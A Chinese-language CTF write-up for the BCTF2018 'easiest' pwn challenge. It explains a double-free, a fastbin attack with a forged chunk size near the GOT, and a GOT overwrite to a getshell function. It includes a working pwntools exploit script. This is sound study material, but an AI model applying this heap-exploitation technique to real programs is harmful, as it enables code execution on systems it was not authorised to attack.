【Pwn】BCTF2018 easiest - fastbin attack 的size偽造
本文永久連結:https://thinkycx.me/posts/2018-12-01-BCTF2018-easiest.html
相關檔案和exploit下載地址:https://github.com/thinkycx/pwn/tree/master/BCTF2018/easiest
0x01 題目資訊
程式提供了兩個功能:add和delete。
- add功能:允許建立11個chunk,scanf輸入number和size,儲存&malloc到bss,並且read 長度為size的content到chunk中。
- delete功能:輸入chunk number 0-11,free儲存在bss上的指標後退出。指標沒有置null!
- 程式還提供了沒有被呼叫的getshell函式。
由於指標沒有置null,存在double free漏洞。利用思路:fastbin attack劫持got到getshell函式。
0x02 fastbin attack
fastbin的double free流程很簡單:
- 建立chunk1 chunk2
- free 1 free2 free1 形成圈環
- malloc獲得chunk1,修改fd指向fake_fastbin_chunk(size的idx需一致),malloc兩次獲取chunk2 chunk1
- 此時fastbinxY[idx]中即是fake_fastbin_chunk,繼續malloc獲得指標:fake_fastbin_chunk+0x10,實現arbitray write!
fastbin attack實現arbitray write的條件在於double free形成圈環和尋找到一個idx相同的size。後者比較困難。展開闡述一下。
除錯時,發現fastbin attack的size是32位的。因此,需要在寫地址的附近找到一個32位的size,就可以偽造fake_fastbin_chunk = &size-8。(截圖僅供參考,這裡chunk size是0x81,所以idx為6,後續利用時,chunk size是0x41,idx為2)
具體到這題看一下,嘗試劫持GOT,在GOT中尋找可用的size,0x20-0x87的4byte size都可以用。同時為了不影響程式的正常執行流程,不能修改劫持GOT之前會用到的函式。在fastbin attack(add中的malloc函式執行完)後,會呼叫的函式是add中malloc後的puts,返回while迴圈後get_content中的fread和getchoice中的strtol,add中的printf,scanf,malloc….通過下面對size的分析,attack後最早可以在strtol呼叫時,就getshell。
- .dynamic處 0x602002的size為0x60,attack後從0x60200a處開始寫,會修改link_map和dlresolve的地址,system函式還沒有動態解析,肯定不能用這裡。
- 0x602032處後續是setbuf和system,attack後從0x60203a開始寫,這裡可以用,但是需要恢復system GOT為[email protected]+6,方便後續動態解析system地址並呼叫
- 0x602042處後續是alarm,__libc_start_main,strtol,malloc,這裡也可以用。
看[email protected]的exploit,fastbin的chunk利用了0x0000007f,該地址依賴於alarm在libc中的低地址是\x00,因此可以構造fake的4byte size(低位0xf在chunk SIZE中是標記位,chunksize返回時回清空)。
0x03 exploit
def pwn(io):
# if local&debug: gdb.attach(io,'break *0x400d1b\n directory /root/Pwn/glibc/glibc-2.23/malloc/')
size = 0x38
add(0, size, "thinkycx" )
add(1, size, "thinkycx" )
add(2, size, "thinkycx")
delete(0)
delete(1)
delete(0)
log.info("fastbin circle has finished!")
write_addr = 0x602030 + 2 -0x8 # bypass fastbin size check
# write_addr = 0x602040 + 2 -0x8 # bypass fastbin size check
# if local&debug: gdb.attach(io,'break *0x400d1b\n directory /root/Pwn/glibc/glibc-2.23/malloc/')
add(3, size, p64(write_addr) )
add(4, size, "thinkycx")
add(5, size, "thinkycx" ) # next fasbins will be write_addr
getshell = 0x400946
# if write_addr is 0x602030 + 2 - 0x8
# payload = "\x00"*6 + p64(elf.plt['system']+6) + p64(elf.plt['printf']) + p64(getshell)*4
payload = "\x00"*6 + p64(elf.plt['system']+6) + p64(getshell)*4
# if write_addr is 0x602040 + 2 - 0x8
# payload = "\x00"*6 + p64(getshell)*3 # strtol
# if local&debug: gdb.attach(io,'break *0x400d1b\n directory /root/Pwn/glibc/glibc-2.23/malloc/')
add(7, size, payload) # when comes to getchoice() strol(), call getshell, [email protected]+6
# add(8, 0x100, "getshell!")